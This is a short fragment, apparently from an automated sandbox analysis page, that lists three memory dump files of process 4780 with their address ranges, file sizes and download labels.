Download
memory/4780-526-0x00007FF9E6B40000-0x00007FF9E752C000-memory.dmp

Filesize
9.9MB

Download
memory/4780-572-0x0000026858A30000-0x0000026858A40000-memory.dmp

Filesize
64KB

Download
memory/4780-528-0x0000026858A30000-0x0000026858A40000-memory.dmp

Filesize
64KB

Download